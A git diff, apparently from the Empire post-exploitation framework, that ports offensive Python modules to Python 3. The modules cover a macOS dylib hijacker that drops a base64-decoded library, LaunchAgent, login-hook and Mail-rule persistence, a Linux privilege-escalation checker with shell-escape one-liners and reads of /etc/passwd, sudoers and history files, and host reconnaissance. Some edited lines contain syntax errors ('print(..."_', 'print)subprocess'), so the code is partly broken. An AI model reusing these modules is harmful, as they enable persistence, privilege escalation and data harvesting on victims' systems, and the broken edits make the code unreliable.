LC_RPATH = (0x1c | LC_REQ_DYLD) - LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD - - ( - LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB, - LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB, - LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB, - LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT, - LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM - ) = range(0x1, 0x18) - - MH_MAGIC = 0xfeedface - MH_CIGAM = 0xcefaedfe - MH_MAGIC_64 = 0xfeedfacf - MH_CIGAM_64 = 0xcffaedfe - - _CPU_ARCH_ABI64 = 0x01000000 - - CPU_TYPE_NAMES = { - -1: 'ANY', - 1: 'VAX', - 6: 'MC680x0', - 7: 'i386', - _CPU_ARCH_ABI64 | 7: 'x86_64', - 8: 'MIPS', - 10: 'MC98000', - 11: 'HPPA', - 12: 'ARM', - 13: 'MC88000', - 14: 'SPARC', - 15: 'i860', - 16: 'Alpha', - 18: 'PowerPC', - _CPU_ARCH_ABI64 | 18: 'PowerPC64', - } - - - - #structs that we need - - class mach_header(ctypes.Structure): - - _fields_ = [ - - ("magic", ctypes.c_uint), - ("cputype", ctypes.c_uint), - ("cpusubtype", ctypes.c_uint), - ("filetype", ctypes.c_uint), - ("ncmds", ctypes.c_uint), - ("sizeofcmds", ctypes.c_uint), - ("flags", ctypes.c_uint) - - ] - - class mach_header_64(ctypes.Structure): - _fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)] - - class load_command(ctypes.Structure): - _fields_ = [ - ("cmd", ctypes.c_uint), - ("cmdsize", ctypes.c_uint) - ] - - - LC_HEADER_SIZE = 0x8 - - - def checkPrereqs(attackerDYLIB, targetDYLIB): - - - if not os.path.exists(attackerDYLIB): - - - print 'ERROR: dylib \\'%%s\\' not found' %% (attackerDYLIB) - return False - - - if not os.path.exists(targetDYLIB): - - - print 'ERROR: dylib \\'%%s\\' not found' %% (targetDYLIB) - return False - - attacker = open(attackerDYLIB) - target = open(targetDYLIB) - - attackerHeader = mach_header.from_buffer_copy(attacker.read(28)) - targetHeader = mach_header.from_buffer_copy(target.read(28)) - - if attackerHeader.cputype != targetHeader.cputype: - print 'ERROR: Architecture mismatch' - attacker.close() - target.close() - return False - - return True - - - def findLoadCommand(fileHandle, targetLoadCommand): - - - MACHHEADERSZ64 = 32 - MACHHEADERSZ = 28 - matchedOffsets = [] - #wrap - try: - header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ)) - if header.magic == MH_MAGIC_64: - fileHandle.seek(0, io.SEEK_SET) - header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64)) - ncmds = header.ncmds - - # Get to the load commands - current = fileHandle.tell() #save offset to load command - - for cmd in range(ncmds): - - offset = current - lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE)) - size = lc.cmdsize - if lc.cmd == targetLoadCommand: - - matchedOffsets.append(offset) - - fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR) - current = fileHandle.tell() - - #exceptions - except Exception, e: - - #err msg - print 'EXCEPTION (finding load commands): %%s' %% e - - #reset - matchedOffsets = None - - return matchedOffsets - - #configure version info - # 1) find/extract version info from target .dylib - # 2) find/update version info from hijacker .dylib to match target .dylib - def configureVersions(attackerDYLIB, targetDYLIB): - - #wrap - try: - - #dbg msg - print ' [+] parsing \\'%%s\\' to extract version info' %% (os.path.split(targetDYLIB)[1]) - - #open target .dylib - fileHandle = open(targetDYLIB, 'rb') - - #find LC_ID_DYLIB load command - # ->and check - versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) - if not versionOffsets or not len(versionOffsets): - - #err msg - print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(targetDYLIB)[1]) - - #bail - return False - - #dbg msg - print ' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets) - - #seek to offset of LC_ID_DYLIB - fileHandle.seek(versionOffsets[0], io.SEEK_SET) - - #seek to skip over LC header and timestamp - fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) - - ''' - struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; - ''' - - #extract current version - currentVersion = fileHandle.read(4) - - #extract compatibility version - compatibilityVersion = fileHandle.read(4) - - #dbg msg(s) - print ' extracted current version: 0x%%x' %% (struct.unpack('and check - versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB) - if not versionOffsets or not len(versionOffsets): - - #err msg - print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1]) - - #bail - return False - - #dbg msg(s) - print ' found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets) - print ' [+] updating version info in %%s to match %%s' %% ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1])) - - #update version info - for versionOffset in versionOffsets: - - #seek to offset of LC_ID_DYLIB - fileHandle.seek(versionOffset, io.SEEK_SET) - - #seek to skip over LC header and timestamp - fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR) - - #dbg msg - print 'setting version info at offset %%s' %% (versionOffset) - - #set current version - fileHandle.write(currentVersion) - - #set compatability version - fileHandle.write(compatibilityVersion) - - #close - fileHandle.close() - - except Exception, e: - - #err msg - print 'EXCEPTION (configuring version info): %%s' %% e - - - return True - - #configure re-export - # ->update hijacker .dylib to re-export everything to target .dylib - def configureReExport(attackerDYLIB, targetDYLIB): - - #wrap - try: - - #dbg msg - print ' [+] parsing \\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1]) - - #open attacker's .dylib - fileHandle = open(attackerDYLIB, 'rb+') - - #find LC_REEXPORT_DYLIB load command - # ->and check - reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB) - if not reExportOffsets or not len(reExportOffsets): - - #err msg - print 'ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1]) - - #bail - return False - - #dbg msg - print ' found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets) - - ''' - struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; }; - ''' - - #update re-export info - #TODO: does the current and compat version need to match? we can easily set it - for reExportOffset in reExportOffsets: - - #seek to offset of LC_REEXPORT_DYLIB - fileHandle.seek(reExportOffset, io.SEEK_SET) - - #seek to skip over command - fileHandle.seek(0x4, io.SEEK_CUR) - - #read in size of load command - commandSize = struct.unpack('update attacker's .dylib to match target .dylib's version info - if not configureVersions(attackerDYLIB, targetDYLIB): - - #err msg - print 'ERROR: failed to configure version info' - - #bail - return False - - #configure re-export - # ->update attacker's .dylib to re-export everything to target .dylib - if not configureReExport(attackerDYLIB, targetDYLIB): - - #err msg - print 'ERROR: failed to configure re-export' - - #bail - return False - - return True - - - #target .dylib - targetDYLIB = "%s" - - vrpath = "%s" - - - #configured .dylib - configuredDYLIB = "" - - #init output path for configured .dylib - configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1] - - #dbg msg - print ' [+] configuring %%s to hijack %%s' %% (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1]) - - #check prereqs - # ->i.e. sanity checks - if not checkPrereqs(attackerDYLIB, targetDYLIB): - - #err msg - print 'ERROR: prerequisite check failed\\n' - - #bail - return "" - - #configure the provide .dylib - if not configure(attackerDYLIB, targetDYLIB): - - #err msg - print 'ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1]) - - #bail - return "" - - #dbg msg - print ' [+] copying configured .dylib to %%s' %% (configuredDYLIB) - - #make a (local) copy w/ name - shutil.copy2(attackerDYLIB, configuredDYLIB) - - os.remove(attackerDYLIB) - if not os.path.exists(os.path.split(vrpath)[0]): - os.makedirs(os.path.split(vrpath)[0]) - - os.chmod(configuredDYLIB, 0777) - shutil.copy2(configuredDYLIB, vrpath) - - os.remove(configuredDYLIB) - #dbg msg - - print '\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath) - -import base64 -import uuid -encbytes = "%s" -filename = str(uuid.uuid4()) -path = "/tmp/" + filename + ".dylib" -decodedDylib = base64.b64decode(encbytes) -temp = open(path,'wb') -temp.write(decodedDylib) -temp.close() -run(path) """ % (dylib,vrpath,encodedDylib) return script diff --git a/lib/modules/python/persistence/osx/LaunchAgent.py b/lib/modules/python/persistence/osx/LaunchAgent.py index f1d6373b4..cb8206517 100644 --- a/lib/modules/python/persistence/osx/LaunchAgent.py +++ b/lib/modules/python/persistence/osx/LaunchAgent.py @@ -153,8 +153,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): process = subprocess.Popen('mv /tmp/%(plistFilename)s '+launchPath+'%(plistFilename)s', stdout=subprocess.PIPE, shell=True) process.communicate() -print "\\n[+] Persistence has been installed: "+launchPath+"%(plistFilename)s" -print "\\n[+] Empire daemon has been written to "+daemonPath+"%(programName)s" +print("\\n[+] Persistence has been installed: "+launchPath+"%(plistFilename)s") +print("\\n[+] Empire daemon has been written to "+daemonPath+"%(programName)s") """ % {"encBytes":encBytes, "plistSettings":plistSettings, "daemonName":daemonName, "programName":programName, "plistFilename":plistFilename} diff --git a/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py index 399a1c266..d659dd23d 100644 --- a/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py +++ b/lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py @@ -141,7 +141,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): os.chmod(plistPath, 0644) -print "\\n[+] Persistence has been installed: /Library/LaunchAgents/%s" +print("\\n[+] Persistence has been installed: /Library/LaunchAgents/%s") """ % (PLISTName,plistSettings,PLISTName) diff --git a/lib/modules/python/persistence/osx/RemoveLaunchAgent.py b/lib/modules/python/persistence/osx/RemoveLaunchAgent.py index b36941cd2..a434ed83c 100644 --- a/lib/modules/python/persistence/osx/RemoveLaunchAgent.py +++ b/lib/modules/python/persistence/osx/RemoveLaunchAgent.py @@ -96,8 +96,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): process = subprocess.Popen('rm %s', stdout=subprocess.PIPE, shell=True) process.communicate() -print "\\n [+] %s has been removed" -print "\\n [+] %s has been removed" +print("\\n [+] %s has been removed") +print("\\n [+] %s has been removed") """ %(plistpath,plistpath,programpath,plistpath,programpath) return script diff --git a/lib/modules/python/persistence/osx/loginhook.py b/lib/modules/python/persistence/osx/loginhook.py index 70b5ee601..17c1c9496 100644 --- a/lib/modules/python/persistence/osx/loginhook.py +++ b/lib/modules/python/persistence/osx/loginhook.py @@ -89,34 +89,34 @@ def generate(self, obfuscate=False, obfuscationCommand=""): result = process.communicate() result = result[0].strip() if str(result) != "1": - print "[!] ERROR to create a LoginHook requires (sudo) privileges!" + print("[!] ERROR to create a LoginHook requires (sudo) privileges!") sys.exit() try: - print " [*] Setting script to proper linux permissions" + print(" [*] Setting script to proper linux permissions") process = subprocess.Popen('chmod +x %s', stdout=subprocess.PIPE, shell=True) process.communicate() except Exception as e: - print "[!] Issues setting login hook (line 81): " + str(e) + print("[!] Issues setting login hook (line 81): " + str(e)) - print " [*] Creating proper LoginHook" + print(" [*] Creating proper LoginHook") try: process = subprocess.Popen('echo "%s" | sudo -S defaults write com.apple.loginwindow LoginHook %s', stdout=subprocess.PIPE, shell=True) process.communicate() except Exception as e: - print "[!] Issues setting login hook (line 81): " + str(e) + print("[!] Issues setting login hook (line 81): " + str(e)) try: process = subprocess.Popen('echo "%s" | sudo -S defaults read com.apple.loginwindow', stdout=subprocess.PIPE, shell=True) - print " [*] LoginHook Output: " + print(" [*] LoginHook Output: ") result = process.communicate() result = result[0].strip() - print " [*] LoginHook set to:" - print str(result) + print(" [*] LoginHook set to:") + print(str(result)) except Exception as e: - print "[!] Issue checking LoginHook settings (line 86): " + str(e) + print("[!] Issue checking LoginHook settings (line 86): " + str(e)) except Exception as e: - print "[!] Issue with LoginHook script: " + str(e) + print("[!] Issue with LoginHook script: " + str(e)) """ % (loginhookScriptPath, password, loginhookScriptPath, password) diff --git a/lib/modules/python/persistence/osx/mail.py b/lib/modules/python/persistence/osx/mail.py index ec5839253..4f1b53253 100644 --- a/lib/modules/python/persistence/osx/mail.py +++ b/lib/modules/python/persistence/osx/mail.py @@ -183,7 +183,7 @@ def UUID(): plist2 = \"\"\"%s\"\"\" payload = \'\'\'%s\'\'\' payload = payload.replace('&\"', '& ') -payload += "kill `ps -ax | grep ScriptMonitor |grep -v grep | awk \'{print $1}\'`" +payload += "kill `ps -ax | grep ScriptMonitor |grep -v grep | awk \'{print($1)}\'`" payload += '\"' script = home + "/Library/Application Scripts/com.apple.mail/" + AppleScript @@ -221,15 +221,14 @@ def UUID(): a.close() if os.path.isfile(home + "/Library/Mobile Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist"): - print "Trying to write to Mobile" + print("Trying to write to Mobile") os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mobile\ Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist") else: os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mail/" + version + "/MailData/SyncedRules.plist") - print "Writing to main rules" + print("Writing to main rules") os.system("/usr/libexec/PlistBuddy -c 'Merge " + RulesActiveState + "' "+ home + "/Library/Mail/" + version + "/MailData/RulesActiveState.plist") os.system("rm " + SyncedRules) os.system("rm " + RulesActiveState) - """ % (AppleScript, SyncedRules, RulesActiveState, plist, plist2, launcher) return script \ No newline at end of file diff --git a/lib/modules/python/privesc/linux/linux_priv_checker.py b/lib/modules/python/privesc/linux/linux_priv_checker.py index 08c1ab8d4..7392012d8 100644 --- a/lib/modules/python/privesc/linux/linux_priv_checker.py +++ b/lib/modules/python/privesc/linux/linux_priv_checker.py @@ -100,10 +100,10 @@ def callFunctionLinux(): bigline = "=================================================================================================" smlline = "-------------------------------------------------------------------------------------------------" - print bigline - print "LINUX PRIVILEGE ESCALATION CHECKER" - print bigline - print + print(bigline) + print("LINUX PRIVILEGE ESCALATION CHECKER"_ + print(bigline) + print("") # loop through dictionary, execute the commands, store the results, return updated dict def execCmd(cmdDict): @@ -123,10 +123,10 @@ def printResults(cmdDict): for item in cmdDict: msg = cmdDict[item]["msg"] results = cmdDict[item]["results"] - print "[+] " + msg + print("[+] " + msg) for result in results: if result.strip() != "": - print " " + result.strip() + print(" " + result.strip()) print return @@ -140,7 +140,7 @@ def writeResults(msg, results): return # Basic system info - print "[*] GETTING BASIC SYSTEM INFO...\\n" + print("[*] GETTING BASIC SYSTEM INFO...\\n") results=[] @@ -154,7 +154,7 @@ def writeResults(msg, results): # Networking Info - print "[*] GETTING NETWORKING INFO...\\n" + print("[*] GETTING NETWORKING INFO...\\n") netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, @@ -165,7 +165,7 @@ def writeResults(msg, results): printResults(netInfo) # File System Info - print "[*] GETTING FILESYSTEM INFO...\\n" + print("[*] GETTING FILESYSTEM INFO...\\n") driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} @@ -183,12 +183,12 @@ def writeResults(msg, results): printResults(cronInfo) # User Info - print "\\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\\n" + print("\\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\\n") userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, "ID":{"cmd":"id","msg":"Current User ID", "results":results}, "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, - "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print($1)}'", "msg":"Super Users Found:", "results":results}, "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, @@ -199,10 +199,10 @@ def writeResults(msg, results): printResults(userInfo) if "root" in userInfo["ID"]["results"][0]: - print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\\n" + print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\\n") # File/Directory Privs - print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\\n" + print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\\n") fdPerms = {"WWDIRSROOT":{"cmd":"find / \\( -wholename '/home/homedir*' -prune \\) -o \\( -type d -perm -0002 \\) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, "WWDIRS":{"cmd":"find / \\( -wholename '/home/homedir*' -prune \\) -o \\( -type d -perm -0002 \\) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, @@ -223,14 +223,14 @@ def writeResults(msg, results): printResults(pwdFiles) # Processes and Applications - print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\\n" + print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\\n") if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: - getPkgs = "dpkg -l | awk '{$1=$4=\\"\\"; print $0}'" # debian + getPkgs = "dpkg -l | awk '{$1=$4=\\"\\"; print($0)}'" # debian else: getPkgs = "rpm -qa | sort -u" # RH/other - getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, + getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print($1,$2,$9,$10,$11)}'", "msg":"Current processes", "results":results}, "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} } @@ -245,7 +245,7 @@ def writeResults(msg, results): otherApps = execCmd(otherApps) printResults(otherApps) - print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\\n" + print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\\n") # find the package information for the processes currently running # under root or another super user @@ -276,12 +276,12 @@ def writeResults(msg, results): pass for key in procdict: - print " " + key # print the process name + print(" " + key) # print the process name try: if not procdict[key][0] == "": # only print the rest if related packages were found - print " Possible Related Packages: " + print(" Possible Related Packages: ") for entry in procdict[key]: - print " " + entry # print each related package + print(" " + entry) # print each related package except: pass @@ -289,21 +289,21 @@ def writeResults(msg, results): # First discover the avaialable tools print - print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\\n" + print("[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\\n") devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} devTools = execCmd(devTools) printResults(devTools) - print "[+] Related Shell Escape Sequences...\\n" + print("[+] Related Shell Escape Sequences...\\n") escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\\"/bin/bash\\")}'"], "perl":["perl -e 'exec \\"/bin/bash\\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\\"/bin/bash\\")}' \\\\;"], "nmap":["--interactive"]} for cmd in escapeCmd: for result in devTools["TOOLS"]["results"]: if cmd in result: for item in escapeCmd[cmd]: - print " " + cmd + "-->\\t" + item + print(" " + cmd + "-->\\t" + item) print - print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\\n" + print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\\n") # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' @@ -421,7 +421,7 @@ def writeResults(msg, results): else: avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version - print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" + print(" Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!") print print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" diff --git a/lib/modules/python/situational_awareness/host/multi/SuidGuidSearch.py b/lib/modules/python/situational_awareness/host/multi/SuidGuidSearch.py index 704e2fa7b..cb5757561 100644 --- a/lib/modules/python/situational_awareness/host/multi/SuidGuidSearch.py +++ b/lib/modules/python/situational_awareness/host/multi/SuidGuidSearch.py @@ -87,7 +87,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): import os import subprocess cmd = "find %s -type f \( -perm -g=s -o -perm -u=s \) \-exec ls -lg \{\} \;" -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() +print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) """ % (path) diff --git a/lib/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.py b/lib/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.py index 3290b966f..9131da075 100644 --- a/lib/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.py +++ b/lib/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.py @@ -87,7 +87,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): import os import subprocess cmd = "find %s -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print" -print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() +print)subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) """ % (path) diff --git a/lib/modules/python/situational_awareness/host/osx/HijackScanner.py b/lib/modules/python/situational_awareness/host/osx/HijackScanner.py index 19b3c3779..c85c0dae1 100644 --- a/lib/modules/python/situational_awareness/host/osx/HijackScanner.py +++ b/lib/modules/python/situational_awareness/host/osx/HijackScanner.py @@ -293,7 +293,7 @@ def installedBinaries(rootDirectory = None): #save binaries.append(fullName) - print "Finished with installed binaries\\n" + print("Finished with installed binaries\\n") return binaries def resolvePath(binaryPath, unresolvedPath): @@ -438,7 +438,7 @@ def parseBinaries(binaries): else: f.seek(size - LC_Header_Sz, io.SEEK_CUR) - print "finished parsing load commands" + print("finished parsing load commands") return parsedBinaries def processBinaries(parsedBinaries): @@ -565,46 +565,46 @@ def processBinaries(parsedBinaries): if len(vulnerableBinaries['rpathExes']): #dbg msg - print '\\nfound %%d binaries vulnerable to multiple rpaths:' %% len(vulnerableBinaries['rpathExes']) + print('\\nfound %%d binaries vulnerable to multiple rpaths:' %% len(vulnerableBinaries['rpathExes'])) #iterate over all and print for binary in vulnerableBinaries['rpathExes']: #dbg msg - print '%%s has an rpath vulnerability: (%%s%%s)\\n' %% (binary['binary'], binary['LC_RPATH'],binary['importedDylib']) + print('%%s has an rpath vulnerability: (%%s%%s)\\n' %% (binary['binary'], binary['LC_RPATH'],binary['importedDylib'])) #binary didn't have any else: #dbg msg - print '\\ndid not find any vulnerable to multiple rpaths' + print('\\ndid not find any vulnerable to multiple rpaths') #display binaries that are vulnerable to weak import hijack if len(vulnerableBinaries['weakBins']): #dbg msg - print '\\nfound %%d binaries vulnerable to weak dylibs:' %% len(vulnerableBinaries['weakBins']) + print('\\nfound %%d binaries vulnerable to weak dylibs:' %% len(vulnerableBinaries['weakBins'])) #iterate over all and print for binary in vulnerableBinaries['weakBins']: #dbg msg - print '%%s has weak import (%%s)\\n' %% (binary['binary'], binary) + print('%%s has weak import (%%s)\\n' %% (binary['binary'], binary)) #binary didn't have any else: #dbg msg - print '\\ndid not find any missing LC_LOAD_WEAK_DYLIBs' + print('\\ndid not find any missing LC_LOAD_WEAK_DYLIBs') #dbg msg - print "Scan completed in " + str(datetime.now() - startTime) + "\\n" + print("Scan completed in " + str(datetime.now() - startTime) + "\\n") - print "[+] To abuse an rpath vulnerability...\\n" - print "[+] Find the legitimate dylib: find / -name , and note the path\\n" - print "[+] Run the CreateHijacker module in /persistence/osx/. Set the DylibPath to the path of the legitimate dylib.\\n" + print("[+] To abuse an rpath vulnerability...\\n") + print("[+] Find the legitimate dylib: find / -name , and note the path\\n") + print("[+] Run the CreateHijacker module in /persistence/osx/. Set the DylibPath to the path of the legitimate dylib.\\n") run() """ % (scanPath, LoadedProcesses) diff --git a/lib/modules/python/situational_awareness/host/osx/situational_awareness.py b/lib/modules/python/situational_awareness/host/osx/situational_awareness.py index 05629324a..9f7f8a4a4 100644 --- a/lib/modules/python/situational_awareness/host/osx/situational_awareness.py +++ b/lib/modules/python/situational_awareness/host/osx/situational_awareness.py @@ -101,7 +101,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): result = process.communicate() result = result[0].strip() if str(result) != "1": - print "[!] ERROR some shit requires (sudo) privileges!" + print("[!] ERROR some shit requires (sudo) privileges!") sudo = False sys.exit() # Enum Hostname @@ -109,53 +109,53 @@ def generate(self, obfuscate=False, obfuscationCommand=""): process = subprocess.Popen('hostname', stdout=subprocess.PIPE, shell=True) hostname = process.communicate() hostname = hostname[0].strip() - print "[*] Hostname:" - print " - " + str(hostname.strip()) + print("[*] Hostname:") + print((" - " + str(hostname.strip()))) except Exception as e: if Debug: - print "[!] Error enumerating hostname: " + str(e) + print(("[!] Error enumerating hostname: " + str(e))) pass # Enum Software Package try: process = subprocess.Popen('sw_vers -productVersion', stdout=subprocess.PIPE, shell=True) swvers = process.communicate() swvers = swvers[0].strip() - print "[*] MAC OS Package Level:" - print " - " + str(swvers.strip()) + print("[*] MAC OS Package Level:") + print((" - " + str(swvers.strip()))) except Exception as e: if Debug: - print "[!] Error enumerating OS Package: " + str(e) + print(("[!] Error enumerating OS Package: " + str(e))) pass # Enume system Hardware Overview try: process = subprocess.Popen("system_profiler SPHardwareDataType", stdout=subprocess.PIPE, shell=True) ho = process.communicate() ho = ho[0].split('\\n') - print "[*] Hardware Overview:" + print("[*] Hardware Overview:") for x in ho[4:]: if x: - print " - " + str(x.strip()) + print((" - " + str(x.strip()))) except Exception as e: if Debug: - print "[!] Error enumerating Hardware Overview: " + str(e) + print(("[!] Error enumerating Hardware Overview: " + str(e))) # Enum Users try: process = subprocess.Popen("dscacheutil -q user | grep -A 3 -B 2 -e uid:\ 5'[0-9][0-9]'", stdout=subprocess.PIPE, shell=True) users = process.communicate() users = users[0].split('\\n') - print "[*] Client Users:" + print("[*] Client Users:") for x in users: if x: - print " - " + str(x.strip()) + print(" - " + str(x.strip())) else: - print + print() except Exception as e: if Debug: - print "[!] Error enumerating OS Package: " + str(e) + print("[!] Error enumerating OS Package: " + str(e)) pass # Enum Last Logins try: - print "[*] Last Logins:" + print("[*] Last Logins:") process = subprocess.Popen("last -10", stdout=subprocess.PIPE, shell=True) last = process.communicate() last = last[0].split('\\n') @@ -163,58 +163,58 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if x.startswith('wtmp'): break if x: - print " - " + str(x.strip()) + print(" - " + str(x.strip())) except Exception as e: if Debug: - print "[!] Error Enumerating en0: " + str(e) + print("[!] Error Enumerating en0: " + str(e)) pass # Enum Hardware try: process = subprocess.Popen("networksetup -listallhardwareports", stdout=subprocess.PIPE, shell=True) hardware = process.communicate() hardware = hardware[0].split('\\n') - print "[*] Installed Interfaces:" + print("[*] Installed Interfaces:") for x in hardware: if x: - print " - " + str(x.strip()) + print(" - " + str(x.strip())) else: - print + print() except Exception as e: if Debug: - print "[!] Error Enumerating Installed Interfaces: " + str(e) + print("[!] Error Enumerating Installed Interfaces: " + str(e)) pass # Enum en0 try: process = subprocess.Popen("ipconfig getpacket en0", stdout=subprocess.PIPE, shell=True) inf = process.communicate() inf = inf[0].split('\\n') - print "[*] en0 Interface:" + print("[*] en0 Interface:") for x in inf: if x: - print " - " + str(x.strip()) + print(" - " + str(x.strip())) else: - print + print() except Exception as e: if Debug: - print "[!] Error Enumerating en0: " + str(e) + print("[!] Error Enumerating en0: " + str(e)) pass # Enum Hosts DNS file try: process = subprocess.Popen("cat /private/etc/hosts", stdout=subprocess.PIPE, shell=True) hosts = process.communicate() hosts = hosts[0].split('\\n') - print "[*] DNS Hosts File:" + print("[*] DNS Hosts File:") for x in hosts: if x: if x.startswith("#"): pass else: - print " - " + str(x.strip()) + print(" - " + str(x.strip())) else: - print + print() except Exception as e: if Debug: - print "[!] Error Enumerating Hosts File: " + str(e) + print("[!] Error Enumerating Hosts File: " + str(e)) pass # Enum bash history @@ -223,17 +223,17 @@ def generate(self, obfuscate=False, obfuscationCommand=""): with open(location, 'r') as myfile: HistoryResult = myfile.readlines() HistoryCount = HistoryCount * -1 - print "[*] Enumerating User Bash History" - print " - History count size: " + str(len(HistoryResult)) + print("[*] Enumerating User Bash History") + 